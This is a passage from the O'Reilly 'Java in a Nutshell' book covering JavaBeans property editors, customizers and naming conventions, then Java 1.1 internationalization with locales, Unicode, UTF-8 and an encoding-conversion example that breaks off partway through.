  /** This method returns an array of PropertyDescriptor objects that specify
   *  additional information about the properties supported by the bean.
   *  By explicitly specifying property descriptors, we are able to provide
   *  simple help strings for each property; these would not be available to
   *  the beanbox through simple introspection.  We are also able to register
   *  special property editors for two of the properties.
   */
  public PropertyDescriptor[] getPropertyDescriptors() {
    try {
      PropertyDescriptor[] props = {
        property("title", "The string that appears in the dialog title bar"),
        property("message", "The string that appears in the dialog body"),
        property("yesLabel", "The label for the 'Yes' button, if any"),
        property("noLabel", "The label for the 'No' button, if any"),
        property("cancelLabel", "The label for the 'Cancel' button, if any"),
        property("alignment", "The alignment of the message text"),
        property("font", "The font to use for message and buttons"),
        property("background", "The background color for the dialog"),
        property("foreground", "The text color for message and buttons")
      };
      props[1].setPropertyEditorClass(YesNoDialogMessageEditor.class);
      props[5].setPropertyEditorClass(YesNoDialogAlignmentEditor.class);
      return props;
    }
    catch (IntrospectionException e) {return super.getPropertyDescriptors(); }
  }
  /** The message property is most often customized; make it the default. */
  public int getDefaultPropertyIndex() { return 1; }
  /** This is a convenience method for creating MethodDescriptors.  Note that
   *  it assumes we are talking about methods with no arguments. */
  public static MethodDescriptor method(String name, String description)
       throws NoSuchMethodException, SecurityException {
    Method m = YesNoDialog.class.getMethod(name, new Class[] {});
    MethodDescriptor md = new MethodDescriptor(m);
    md.setShortDescription(description);
    return md;
  }
  /** This method returns an array of method descriptors for the supported
   *  methods of a bean. This allows us to provide useful description strings,
   *  but it also allows us to filter out non-useful methods like wait()
   *  and notify() that the bean inherits and which might otherwise be
   *  displayed by the beanbox.
   */
  public MethodDescriptor[] getMethodDescriptors() {
    try {
      MethodDescriptor[] methods = {
        method("display", "Pop up the dialog; make it visible")
      };
      return methods;
    }
    catch (Exception e) {
      return super.getMethodDescriptors();
    }
  }
}

Previous | Home | Next
Custom Events | Book Index | Defining a Simple Property Editor
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.6 Defining a Simple Property Editor

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.6 Defining a Simple Property Editor

A bean can also provide an auxiliary PropertyEditor for use by a beanbox tool. PropertyEditor is a flexible interface that allows a bean to tell a beanbox how to display and edit the values of certain types of properties.

A beanbox tool always provides simple property editors for common property types, such as strings, numbers, fonts, and colors. If your bean has properties of a non-standard type, you should register a property editor for that type. The easiest way to "register" a property editor is through a simple naming convention. If your type is defined by the class X, the editor for it should be defined in the class XEditor. Alternately, you can register a property editor by calling the PropertyEditorManager.registerEditor() method, probably from the constructor of your BeanInfo class. If you call this method from the bean itself, the bean then depends on the property editor class, so the editor has to be bundled with the bean in applications.

In our YesNoDialog example, we don't define any new data types, but we still have two individual properties that need custom editors. In this case, we register the property editors for individual properties by specifying them in the PropertyDescriptor objects returned by the getPropertyDescriptors() method of our BeanInfo class.

The PropertyEditor interface can seem confusing at first. Its methods allow you to define three techniques for displaying the value of a property and two techniques for allowing the user to edit the value of a property. The value of a property can be displayed:

  • As a string. If you define the getAsText() method, a beanbox can convert a property to a string and display that string to the user.

  • As an enumerated value. If a property can only take on a value from a fixed set of values, you can define the getTags() method to allow a beanbox to display a dropdown menu of allowed values for the property.

  • In a graphical display. If you define paintValue(), a beanbox can ask the property editor to display the value using some natural graphical format, such as a color swatch for colors. You also need to define isPaintable() to specify that a graphical format is supported.

The two editing techniques are:

  • String editing. If you define the setAsText() method, a beanbox knows it can simply have the user type a value into a text field and pass that value to setAsText(). If your property editor defines getTags(), it should also define setAsText() so that a beanbox can set the property value using the individual tag values.

  • Custom editing. If your property editor defines getCustomEditor(), a beanbox can call it to obtain some kind of AWT component that can be displayed in a dialog box and serve as a custom editor for the property. You also need to define supportsCustomEditor() to specify that custom editing is supported.

The setValue() method of a PropertyEditor is called to specify the current value of the property. It is this value that should be converted to a string or graphical representation by getAsText() or paintValue().

A property editor is required to maintain a list of event listeners that are interested in changes to the value of the property. The addPropertyChangeListener() and removePropertyChangeListener() methods are standard event listener registration and removal methods. When a property editor changes the value of a property, either through setAsText() or through a custom editor, it must send a PropertyChangeEvent to all registered listeners.

PropertyEditor defines the getJavaInitializationString() for use by beanbox tools that generate Java code. This method should return a fragment of Java code that can be used to initialize a variable to the current property value.

Finally, a class that implements the PropertyEditor interface must have a no-argument constructor, so that it can be dynamically loaded and instantiated by a beanbox.

Most property editors can be much simpler than this detailed description would suggest. In many cases, you can subclass PropertyEditorSupport instead of implementing the PropertyEditor interface directly. This useful class provides no-op implementations of most PropertyEditor methods. It also implements the methods for adding and removing event listeners.

A property that has an enumerated value requires a simple property editor. The alignment property of the YesNoDialog bean is an example of this common type of property. The property is defined as an int, but it has only three legal values, defined by the constants LEFT, CENTER, and RIGHT. By default, a beanbox only knows that the property is an int, so it displays the property as a number and allows the user to enter any integer as a property value. Instead, we would like the beanbox to display one of the strings "left," "center," or "right" as the value, and allow the user to choose from these values when setting the property. This can be done with the getTags() and setAsText() methods of a property editor, as shown in Example 10.6.

This example creates the YesNoDialogAlignmentEditor class, which is registered as a PropertyEditor for the alignment property by the YesNoDialogBeanInfo class shown in Example 10.5 . The property editor subclasses PropertyEditorSupport, so it is relatively short. Notice that it passes Integer objects in the calls to setValue() that are made from the setAsText() method. You need to use wrapper objects for any primitive-type properties. The use of the Integer class is also apparent in the definition of getJavaInitializationString(). The setValue() method of ProperyEditorSupport handles notifying registered PropertyChangeListener objects about changes in the value of the property, so this simple property editor does not need to be aware of the existence of such listeners.

Example 10.6: The YesNoDialogAlignmentEditor Class

package oreilly.beans.yesno;
import java.beans.*;
import java.awt.*;
public class YesNoDialogAlignmentEditor extends PropertyEditorSupport {
  // These two methods allow the property to be edited in a dropdown list.
  // Return the list of value names for the enumerated type.
  public String[] getTags() {
    return new String[] { "left", "center", "right" };
  }
  // Convert each of those value names into the actual value.
  public void setAsText(String s) {
    if (s.equals("left")) setValue(new Integer(YesNoDialog.LEFT));
    else if (s.equals("center")) setValue(new Integer(YesNoDialog.CENTER));
    else if (s.equals("right")) setValue(new Integer(YesNoDialog.RIGHT));
    else throw new IllegalArgumentException(s);
  }
  // This is an important method for code generation.
  public String getJavaInitializationString() {
    switch(((Number)getValue()).intValue()) {
    default:
    case YesNoDialog.LEFT:   return "oreilly.beans.yesno.YesNoDialog.LEFT";
    case YesNoDialog.CENTER: return "oreilly.beans.yesno.YesNoDialog.CENTER";
    case YesNoDialog.RIGHT:  return "oreilly.beans.yesno.YesNoDialog.RIGHT";
    }
  }
}

Previous | Home | Next
Specifying Bean Information | Book Index | Defining a Complex Property Editor
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.7 Defining a Complex Property Editor

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.7 Defining a Complex Property Editor

There is another YesNoDialog property value that requires a property editor. The message property of YesNoDialog can specify a multi-line message to be displayed in the dialog. This property requires a property editor because the beanbox program does not distinguish between single-line and multi-line string types and the TextField objects it uses for text input do not allow the user to enter multiple lines of text. For this reason, we define the YesNoDialogMessageEditor class and register it with the PropertyDescriptor for the message property, as shown in Example 10.5.

Example 10.7 shows the definition of this property editor. This is a more complex editor that supports the creation of a custom editor component and graphical display of the value. Note that this example implements PropertyEditor directly. getCustomEditor() returns an editor component for multi-line strings. Figure 10.2 shows this custom editor placed within a dialog box created by the beanbox program. Note that the Done button in this figure is part of the beanbox dialog, not part of the property editor itself.

Figure 10.2: A custom property editor dialog

[Graphic: Figure 10-2]

The paintValue() method is responsible for displaying the value of the message property. This multi-line value does not typically fit in the small rectangle of screen space allowed for the property, so paintValue() displays instructions for popping up the custom editor, which allows the user to inspect and edit the property value. (This example relies on the click-to-edit behavior of the beanbox program; this paintValue() method may not make sense when the bean is used in other beanbox tools.)

Example 10.7: The YesNoDialogMessageEditor Class

package oreilly.beans.yesno;
import java.beans.*;
import java.awt.*;
import java.awt.event.*;
/**
 * This class is a custom editor for the message property of the
 * YesNoDialog bean.  It is necessary because the default editor for
 * properties of type String does not allow multi-line strings to be entered.
 */
public class YesNoDialogMessageEditor implements PropertyEditor {
  protected String value;  // The value we will be editing.
  public void setValue(Object o) {  value = (String) o; }
  public Object getValue() { return value; }
  public void setAsText(String s) { value = s; }
  public String getAsText() { return value; }
  public String[] getTags() { return null; }  // not enumerated; no tags
  // Say that we allow custom editing.
  public boolean supportsCustomEditor() { return true; }
  // Return the custom editor.  This just creates and returns a TextArea
  // to edit the multi-line text.  But it also registers a listener on the
  // text area to update the value as the user types and to fire the
  // property change events that property editors are required to fire.
  public Component getCustomEditor() {
    final TextArea t = new TextArea(value);
    t.setSize(300, 150); // TextArea doesn't have a preferred size, so set one.
    t.addTextListener(new TextListener() {
      public void textValueChanged(TextEvent e) {
        value = t.getText();
        listeners.firePropertyChange(null, null, null);
      }
    });
    return t;
  }
  // Visual display of the value, for use with the custom editor.
  // Just print some instructions and hope they fit in the box.
  // This could be more sophisticated.
  public boolean isPaintable() { return true; }
  public void paintValue(Graphics g, Rectangle r) {
    g.setClip(r);
    g.drawString("Click to edit...", r.x+5, r.y+15);
  }
  // Important method for code generators.  Note that it
  // ought to add any necessary escape sequences.
  public String getJavaInitializationString() { return "\"" + value + "\""; }
  // This code uses the PropertyChangeSupport class to maintain a list of
  // listeners interested in the edits we make to the value.
  protected PropertyChangeSupport listeners = new PropertyChangeSupport(this);
  public void addPropertyChangeListener(PropertyChangeListener l) {
    listeners.addPropertyChangeListener(l);
  }
  public void removePropertyChangeListener(PropertyChangeListener l) {
    listeners.removePropertyChangeListener(l);
  }
}

Previous | Home | Next
Defining a Simple Property Editor | Book Index | Defining a Bean Customizer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.8 Defining a Bean Customizer

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.8 Defining a Bean Customizer

A bean may want to provide some way for the user of a beanbox program to customize its properties other than by setting them one at a time. A bean can do this by creating a Customizer class for itself, and registering the customizer class with the BeanDescriptor object returned by its BeanInfo class, as we saw in Example 10.5.

A customizer must be some kind of AWT component that is suitable for display in a dialog box created by the beanbox. Therefore, a customizer class is typically a subclass of Panel. In addition, a customizer must implement the Customizer interface. This interface consists of methods for adding and removing property change event listeners and a setObject() method that the beanbox calls to tell the customizer what bean object it is customizing. Whenever the user makes a change to the bean through the customizer, the customizer should send a PropertyChangeEvent to any interested listeners. Finally, like a property editor, a customizer must have a no-argument constructor, so it can easily be instantiated by a beanbox.

Example 10.8 shows a customizer for our YesNoDialog bean. This customizer displays a panel that has the same layout as a YesNoDialog, but it substitutes a TextArea object for the message display and three TextField objects for the three buttons that the dialog can display. These text entry areas allow the user to enter values for the message, yesLabel, noLabel, and cancelLabel properties. Figure 10.3 shows this customizer panel displayed within a dialog box created by the beanbox program. Again, note that the Done button is part of the beanbox dialog, not part of the customizer itself.

Figure 10.3: The customizer dialog for the YesNoDialog bean

[Graphic: Figure 10-3]

Example 10.8: The YesNoDialogCustomizer Class

package oreilly.beans.yesno;
import java.awt.*;
import java.awt.event.*;
import java.beans.*;
/**
 * This class is a customizer for the YesNoDialog bean.  It displays a
 * TextArea and three TextFields where the user can enter the dialog message
 * and the labels for each of the three buttons.  It does not allow the
 * dialog title or other resources to be set.
 */
public class YesNoDialogCustomizer extends Panel
                                   implements Customizer, TextListener
{
  protected YesNoDialog bean;                 // The bean being customized.
  protected TextComponent message, fields[];  // Components used by customizer
  // Default constructor: YesNoDialogCustomizer() { super(); }
  // The bean box calls this method to tell us what object to customize.
  // This method will always be called before the customizer is displayed,
  // so it is safe to create the customizer GUI here.
  public void setObject(Object o) {
    bean = (YesNoDialog)o;   // Save the object we're customizing.
    // Put a label at the top of the panel.
    this.setLayout(new BorderLayout());
    this.add(new Label("Enter the message to appear in the dialog:"), "North");
    // And a big text area below it for entering the dialog message.
    message = new TextArea(bean.getMessage());
    message.addTextListener(this);
    // TextAreas don't know how big they want to be.  You must tell them.
    message.setSize(400, 200);
    this.add(message, "Center");
    // Then add a row of textfields for entering the button labels.
    Panel buttonbox = new Panel();                     // The row container.
    buttonbox.setLayout(new GridLayout(1, 0, 25, 10)); // Equally spaced items.
    this.add(buttonbox, "South");                      // Put row on bottom.
    // Now go create three TextFields to put in this row.  But actually
    // position a Label above each, so create a container for each
    // TextField+Label combination.
    fields = new TextComponent[3];           // Array of TextFields.
    String[] labels = new String[] {         // Labels for each.
      "Yes Button Label", "No Button Label", "Cancel Button Label"};
    String[] values = new String[] {         // Initial values of each.
      bean.getYesLabel(), bean.getNoLabel(), bean.getCancelLabel()};
    for(int i = 0; i < 3; i++) {
      Panel p = new Panel();                 // Create a container.
      p.setLayout(new BorderLayout());       // Give it a BorderLayout.
      p.add(new Label(labels[i]), "North");  // Put a label on the top.
      fields[i] = new TextField(values[i]);  // Create the text field.
      p.add(fields[i], "Center");            // Put it below the label.
      fields[i].addTextListener(this);       // Set the event listener.
      buttonbox.add(p);                      // Add container to row.
    }
  }
  // Add some space around the outside of the panel.
  public Insets getInsets() { return new Insets(10, 10, 10, 10); }
  // This is the method defined by the TextListener interface.  Whenever the
  // user types a character in the TextArea or TextFields, this will get
  // called.  It updates the appropriate property of the bean and fires a
  // property changed event, as all customizers are required to do.
  // Note that we are not required to fire an event for every keystroke.
  // Instead we could include an "Apply" button that would make all the
  // changes at once, with a single property changed event.
  public void textValueChanged(TextEvent e) {
    TextComponent t = (TextComponent)e.getSource();
    String s = t.getText();
    if (t == message) bean.setMessage(s);
    else if (t == fields[0]) bean.setYesLabel(s);
    else if (t == fields[1]) bean.setNoLabel(s);
    else if (t == fields[2]) bean.setCancelLabel(s);
    listeners.firePropertyChange(null, null, null);
  }
  // This code uses the PropertyChangeSupport class to maintain a list of
  // listeners interested in the edits we make to the bean.
  protected PropertyChangeSupport listeners = new PropertyChangeSupport(this);
  public void addPropertyChangeListener(PropertyChangeListener l) {
    listeners.addPropertyChangeListener(l);
  }
  public void removePropertyChangeListener(PropertyChangeListener l) {
    listeners.removePropertyChangeListener(l);
  }
}

Previous | Home | Next
Defining a Complex Property Editor | Book Index | Naming Patterns and Conventions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.9 Naming Patterns and Conventions

Java in a Nutshell

Previous Chapter 10
Java Beans 		Next

10.9 Naming Patterns and Conventions

As we've seen, beanbox programs may rely on introspection of a bean to determine the list of properties, events, and methods it supports. In order for this to work, bean developers must follow a set of standard naming conventions, sometimes referred to as JavaBeans "design patterns." These patterns specify, for example, that the getter and setter accessor methods for a property should begin with get and set. Not all of the patterns are absolute requirements. If a bean has accessor methods with different names, it is possible to use a PropertyDescriptor object, specified in a BeanInfo class, to specify the accessor methods for the property. Note, however, that although an accessor method name is not required to follow the pattern, the method is required to have the exact type signature specified by the pattern.

This section lists the design patterns for bean properties, events, and methods. It also lists other conventions and requirements that you should keep in mind when developing beans.

Java Bean Patterns

Beans

class name:

Any

superclass:

Any

constructor:

Must have a no-argument constructor, or a serialized template file

packaging:

JAR file manifest entry specifies Java-Bean: True

Properties (property p of type T)

getter:

public T getP()

setter:

public void setP(T value)

Boolean Properties (property p of type boolean)

getter:

public boolean getP()

(boolean value)

or public boolean is P() setter:

public void setP

Indexed Properties (property p of type T[])

array getter:

public T[] getP()

array setter:

public void setP(T[] value)

element getter:

public T getP(int index)

element setter:

public void setP(int index, T value)

Bound Properties (property p of type T)

getter:

Same as regular property

setter:

Same as regular property

listeners:

One event listener list for all bound properties of a bean

listener registration:

public void addPropertyChangeListener (PropertyChangeListener l)

listener removal:

public void removePropertyChangeListener (PropertyChangeListener l)

Constrained Properties (property p of type T)

getter:

Same as regular property

setter:

public void setP(T value)
                                      throws PropertyVetoException

listeners:

One event listener list for all constrained properties of a bean

listener registration:

public void addVetoableChangeListener (VetoableChangeListener l)

listener removal:

public void removeVetoableChangeListener
            (VetoableChangeListener l)

Events (event named E)

event class name:

EEvent

listener name:

EListener

listener methods:

public void methodname(EEvent e)

listener registration:

public void addEListener(EListener l)

listener removal:

public void removeEListener(EListener l)

Unicast Events (event named E only one listener allowed)

listener registration:

public void addEListener(EListener l)
       throws TooManyListenersException

listener removal:

public void removeEListener(EListener l)

Methods

method name:

Any

method args:

Any; some tools only recognize no-argument methods

BeanInfo Classes (for bean B)

class name:

BBeanInfo

Property Editors (for properties of type T)

class name:

TEditor

constructor:

Must have a no-argument constructor

Property Editors (for individual properties)

class name:

Any; register via PropertyDescriptor

constructor:

Must have a no-argument constructor

Customizers (for bean B)

class name:

Any; register via BeanDescriptor (BCustomizer by convention)

superclass:

Must be a component; typically extends Panel

constructor:

Must have a no-argument constructor

Documentation File (for bean B)

default docs:

B.html

localized docs:

locale/B.html

Previous | Home | Next
Defining a Bean Customizer | Book Index | Internationalization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] Internationalization

Java in a Nutshell

Previous Chapter 11 Next

11. Internationalization

Contents:
A Word About Locales
Unicode
Character Encodings
Handling Local Customs
Localizing User-Visible Messages
Formatted Messages

Internationalization is the process of making a program flexible enough to run correctly in any locale, as discussed in Chapter 4, What's New in Java 1.1. The required corollary to internationalization is localization--the process of arranging for a program to run in a specific locale.

There are several distinct steps to the task of internationalization. Java 1.1 addresses these steps with several different mechanisms:

  • A program must be able to read, write, and manipulate localized text. Java uses the Unicode character encoding, which by itself is a huge step towards internationalization. In addition, in Java 1.1 the InputStreamReader and OutputStreamWriter classes convert text from a locale-specific encoding to Unicode and from Unicode to a locale-specific encoding, respectively.

  • A program must conform to local customs when displaying dates and times, formatting numbers, and sorting strings. Java addresses these issues with the classes in the new java.text package.

  • A program must display all user-visible text in the local language. Translating the messages a program displays is always one of the main tasks in localizing a program. A more important task is writing the program so that all user-visible text is fetched at runtime, rather than hard-coded directly into the program. Java 1.1 facilitates this process with the ResourceBundle class and its subclasses in the java.util package.

This chapter discusses all three of these aspects of internationalization.

11.1 A Word About Locales

A locale represents a geographic, political, or cultural region. In Java 1.1, locales are represented by the java.util.Locale class. A locale is frequently defined by a language, which is represented by its standard lowercase two-letter code, such as en (English) or fr (French). Sometimes, however, language alone is not sufficient to uniquely specify a locale, and a country is added to the specification. A country is represented by an uppercase two-letter code. For example, the United States English locale (en_US) is distinct from the British English locale (en_GB), and the French spoken in Canada (fr_CA) is different from the French spoken in France (fr_FR). Occasionally, the scope of a locale is further narrowed with the addition of a system-dependent "variant" string.

The Locale class maintains a static default locale, which can be set and queried with Locale.setDefault() and Locale.getDefault(). Locale-sensitive methods in Java 1.1 typically come in two forms. One uses the default locale and the other uses a Locale object that is explicitly specified as an argument. A program can create and use any number of non-default Locale objects, although it is more common simply to rely on the default locale, which is inherited from the underlying default locale on the native platform. Locale-sensitive classes in Java often provide a method to query the list of locales that they support.

Finally, note that AWT components in Java 1.1 have a locale property, so it is possible for different components to use different locales. (Most components, however, are not locale-sensitive; they behave the same in any locale.)

Previous | Home | Next
Naming Patterns and Conventions | Book Index | Unicode
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.2 Unicode

Java in a Nutshell

Previous Chapter 11
Internationalization 		Next

11.2 Unicode

Java uses the Unicode character encoding. Java 1.0 used Unicode version 1.1, while Java 1.1 has adopted the newer Unicode 2.0 standard. Unicode is a 16-bit character encoding established by the Unicode Consortium, which describes the standard as follows (see http://unicode.org):

The Unicode Worldwide Character Standard is a character coding system designed to support the interchange, processing, and display of the written texts of the diverse languages of the modern world. In addition, it supports classical and historical texts of many written languages.

In its current version (2.0), the Unicode standard contains 38,885 distinct coded characters derived from 25 supported scripts. These characters cover the principal written languages of the Americas, Europe, the Middle East, Africa, India, Asia, and Pacifica.

In the canonical form of the Unicode encoding, which is what Java char and String types use, every character occupies two bytes. The Unicode characters \u0020 to \u007E are equivalent to the ASCII and ISO8859-1 (Latin-1) characters 0x20 through 0x7E. The Unicode characters \u00A0 to \u00FF are identical to the ISO8859-1 characters 0xA0 to 0xFF. Thus there is a trivial mapping between Latin-1 and Unicode characters. A number of other portions of the Unicode encoding are based on pre-existing standards, such as ISO8859-5 (Cyrillic) and ISO8859-8 (Hebrew), though the mappings between these standards and Unicode may not be as trivial as the Latin-1 mapping.

Note that Unicode support is quite limited on many platforms. One of the difficulties with the use of Unicode is the poor availability of fonts to display all of the Unicode characters. Figure 11.1 shows the characters that are available on a typical configuration of the U.S. English Windows 95 platform. Note the special box glyph used to indicate undefined characters.

Figure 11.1: Some Unicode characters and their encodings

[Graphic: Figure 11-1]

Unicode is similar to, but not the same as, ISO 10646, the UCS (Universal Character Set) encoding. UCS is a 2- or 4-byte encoding originally intended to contain all national standard character encodings. For example, it was to include the separate Chinese, Japanese, Korean, and Vietnamese encodings for Han ideographic characters. Unicode, in contrast, "unifies" these disparate encodings into a single set of Han characters that work for all four countries. Unicode has been so successful, however, that ISO 10646 has adopted it in place of non-unified encodings. Thus, ISO 10646 is effectively Unicode, with the option of two extra bytes for expansion purposes.

Unicode is a trademark of the Unicode Consortium. Version 2.0 of the standard is defined by the book The Unicode Standard, Version 2.0 (published by Addison-Wesley, ISBN 0-201-48345-9). Further information about the Unicode standard and the Unicode Consortium can be obtained at http://unicode.org/.

Table 11.1 provides an overview of the Unicode 2.0 encoding.

Table 11.1: Outline of the Unicode 2.0 Encoding
Start | End | Description
0000 | 1FFF | Alphabets
0000 | 007F | Basic Latin
0080 | 00FF | Latin-1 Supplement
0100 | 017F | Latin Extended-A
0180 | 024F | Latin Extended-B
0250 | 02AF | IPA Extensions
02B0 | 02FF | Spacing Modifier Letters
0300 | 036F | Combining Diacritical Marks
0370 | 03FF | Greek
0400 | 04FF | Cyrillic
0530 | 058F | Armenian
0590 | 05FF | Hebrew
0600 | 06FF | Arabic
0900 | 097F | Devanagari
0980 | 09FF | Bengali
0A00 | 0A7F | Gurmukhi
0A80 | 0AFF | Gujarati
0B00 | 0B7F | Oriya
0B80 | 0BFF | Tamil
0C00 | 0C7F | Telugu
0C80 | 0CFF | Kannada
0D00 | 0D7F | Malayalam
0E00 | 0E7F | Thai
0E80 | 0EFF | Lao
0F00 | 0FBF | Tibetan
10A0 | 10FF | Georgian
1100 | 11FF | Hangul Jamo
1E00 | 1EFF | Latin Extended Additional
1F00 | 1FFF | Greek Extended
2000 | 2FFF | Symbols and Punctuation
2000 | 206F | General Punctuation
2070 | 209F | Superscripts and Subscripts
20A0 | 20CF | Currency Symbols
20D0 | 20FF | Combining Marks for Symbols
2100 | 214F | Letterlike Symbols
2150 | 218F | Number Forms
2190 | 21FF | Arrows
2200 | 22FF | Mathematical Operators
2300 | 23FF | Miscellaneous Technical
2400 | 243F | Control Pictures
2440 | 245F | Optical Character Recognition
2460 | 24FF | Enclosed Alphanumerics
2500 | 257F | Box Drawing
2580 | 259F | Block Elements
25A0 | 25FF | Geometric Shapes
2600 | 26FF | Miscellaneous Symbols
2700 | 27BF | Dingbats
3000 | 33FF | CJK Auxiliary
3000 | 303F | CJK Symbols and Punctuation
3040 | 309F | Hiragana
30A0 | 30FF | Katakana
3100 | 312F | Bopomofo
3130 | 318F | Hangul Compatibility Jamo
3190 | 319F | Kanbun
3200 | 32FF | Enclosed CJK Letters and Months
3300 | 33FF | CJK Compatibility
4E00 | 9FFF | CJK Unified Ideographs Han characters used in China, Japan, Korea, Taiwan, and Vietnam
AC00 | D7A3 | Hangul Syllables
D800 | DFFF | Surrogates
D800 | DB7F | High Surrogates
DB80 | DBFF | High Private Use Surrogates
DC00 | DFFF | Low Surrogates
E000 | F8FF | Private Use
F900 | FFFF | Miscellaneous
F900 | FAFF | CJK Compatibility Ideographs
FB00 | FB4F | Alphabetic Presentation Forms
FB50 | FDFF | Arabic Presentation Forms-A
FE20 | FE2F | Combining Half Marks
FE30 | FE4F | CJK Compatibility Forms
FE50 | FE6F | Small Form Variants
FE70 | FEFE | Arabic Presentation Forms-B
FEFF | FEFF | Specials
FF00 | FFEF | Halfwidth and Fullwidth Forms
FFF0 | FFFF | Specials

Unicode and Local Encodings

While Java programs use Unicode text internally, Unicode is not the customary character encoding for most countries or locales. Thus, an important requirement for Java programs is to be able to convert text from the local encoding to Unicode as it is read (from a file or network, for example) and to be able to convert text from Unicode to the local encoding as it is written. In Java 1.0, this requirement is not well supported. In Java 1.1, however, the conversion can be done with the java.io.InputStreamReader and java.io.OutputStreamWriter classes, respectively. These classes load an appropriate ByteToCharConverter or CharToByteConverter class to perform the conversion. Note that these converter classes are part of the sun.io package and are not for public use (although an explicit conversion interface may be defined in a later release of Java).

The UTF-8 Encoding

The canonical two-bytes per character encoding is useful for the manipulation of character data and is the internal representation used throughout Java. However, because a large amount of text used by Java programs is 8-bit text, and because there are so many existing computer systems that support only 8-bit characters, the 16-bit canonical form is usually not the most efficient way to store Unicode text nor the most portable way to transmit it.

Because of this, other encodings called "transformation formats" have been developed. Java provides simple support for the UTF-8 encoding with the DataInputStream.readUTF() and DataOutputStream.writeUTF() methods. UTF-8 is a variable-width or "multi-byte" encoding format; this means that different characters require different numbers of bytes. In UTF-8, the standard ASCII characters occupy only one byte, and remain untouched by the encoding (i.e., a string of ASCII characters is a legal UTF-8 string). As a tradeoff, however, other Unicode characters occupy two or three bytes.

In UTF-8, Unicode characters between \u0000 and \u007F occupy a single byte, which has a value of between 0x00 and 0x7F, and which always has its high-order bit set to 0. Characters between \u0080 and \u07FF occupy two bytes, and characters between \u0800 and \uFFFF occupy three bytes. The first byte of a two-byte character always has high-order bits 110, and the first byte of a three-byte character always has high-order bits 1110. Since single-byte characters always have 0 as their high-order bit, the one-, two-, and three-byte characters can easily be distinguished from each other.

The second and third bytes of two- and three-byte characters always have high-order bits 10, which distinguishes them from one-byte characters, and also distinguishes them from the first byte of a two- or three-byte sequence. This is important because it allows a program to locate the start of a character in a multi-byte sequence.

The remaining bits in each character (i.e., the bits that are not part of one of the required high-order bit sequences) are used to encode the actual Unicode character data. In the single-byte form, there are seven bits available, suitable for encoding characters up to \u007F. In the two-byte form, there are 11 data bits available, which is enough to encode values to \u07FF, and in the three-byte form there are 16 available data bits, which is enough to encode all 16-bit Unicode characters. Table 11.2 summarizes the UTF-8 encoding.

Table 11.2: The UTF-8 Encoding
Start Character | End Character | Required Data Bits | Binary Byte Sequence (x = data bits)
\u0000 | \u007F | 7 | 0xxxxxxx
\u0080 | \u07FF | 11 | 110xxxxx 10xxxxxx
\u0800 | \uFFFF | 16 | 1110xxxx 10xxxxxx 10xxxxxx

The UTF-8 has the following desirable features:

  • All ASCII characters are one-byte UTF-8 characters. A legal ASCII string is a legal UTF-8 string.

  • Any non-ASCII character (i.e., any character with the high-order bit set) is part of a multi-byte character.

  • The first byte of any UTF-8 character indicates the number of additional bytes in the character.

  • The first byte of a multi-byte character is easily distinguished from the subsequent bytes. Thus, it is easy to locate the start of a character from an arbitrary position in a data stream.

  • It is easy to convert between UTF-8 and Unicode.

  • The UTF-8 encoding is relatively compact. For text with a large percentage of ASCII characters, it is more compact than Unicode. In the worst case, a UTF-8 string is only 50% larger than the corresponding Unicode string.

Java actually uses a slightly modified form of UTF-8. The Unicode character \u0000 is encoded using a two-byte sequence, so that an encoded Unicode string never contains null characters.

Previous | Home | Next
A Word About Locales | Book Index | Character Encodings
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.3 Character Encodings

Java in a Nutshell

Previous Chapter 11
Internationalization 		Next

11.3 Character Encodings

Text representation has traditionally been one of the most difficult problems of internationalization. Java 1.1, however, solves this problem quite elegantly and hides the difficult issues. Java uses Unicode internally, so it can represent essentially any character in any commonly used written language. As noted above, the remaining task is to convert Unicode to and from locale-specific encodings. Java 1.1 includes quite a few internal "byte-to-char" converters and "char-to-byte" converters that handle converting locale-specific character encodings to Unicode and vice versa. While the converters themselves are not public, they are accessed through the InputStreamReader and OutputStreamWriter classes, which are two of the new character streams included in the java.io package.

Any program can automatically handle locale-specific encodings simply by using these new character stream classes to do their textual input and output. (And in addition to automatic encoding conversion, the program also benefits from the greatly improved efficiency of these new classes over the byte streams of Java 1.0.)

Example 11.1 shows a simple program that works with character encodings. It converts a file from one specified encoding to another by converting from the first encoding to Unicode and then from Unicode to the second encoding. Note that most of the program is taken up with the mechanics of parsing argument lists, handling exceptions, and so on. Only a few lines are required to create the InputStreamReader and OutputStreamWriter classes that perform the two halves of the conversion. Also note that exceptions are handled by calling LocalizedError.display(). This method is not part of the Java 1.1 API; it is a custom method shown in Example 11.6 at the end of this chapter.

Example 11.1: Working with Character Encodings

import java.io.*;
/** A program to convert from one character encoding to another. */
public class ConvertEncoding {
  public static void main(String[] args) {
    String from = null, to = null;
    String infile = null, outfile = null;
    for(int i = 0; i < args.length; i++) {  // Parse command-line arguments.
      if (i == args.length-1) usage();      // All legal args require another.
      if (args[i].equals("-from")) from = args[++i];
      else if (args[i].equals("-to")) to = args[++i];
      else if (args[i].equals("-in")) infile = args[++i];
      else if (args[i].equals("-out")) outfile = args[++i];
      else usage();
    }
    try { convert(infile, outfile, from, to); }  // Attempt conversion.
    catch (Exception e) {                        // Handle possible exceptions.
      LocalizedError.display(e);  // Defined at the end of this chapter.
      System.exit(1);
    }
  }
  public static void usage() {
    System.err.println("Usage: java ConvertEncoding <options>\n" +
                       "Options:\n\t-from <encoding>\n\t-to <encoding>\n\t" +
                       "-in <file>\n\t-out <file>");
    System.exit(1);
  }
  public static void convert(String infile, String outfile,
                             String from, String to)
       throws IOException, UnsupportedEncodingException
  {
    // Set up byte streams.
    InputStream in;
    if (infile != null) in = new FileInputStream(infile);
    else in = System.in;
    OutputStream out;
    if (outfile != null) out = new FileOutputStream(outfile);
    else out = System.out;
    // Use default encoding if no encoding is specified.
    if (from == null) from = System.getProperty("file.encoding");
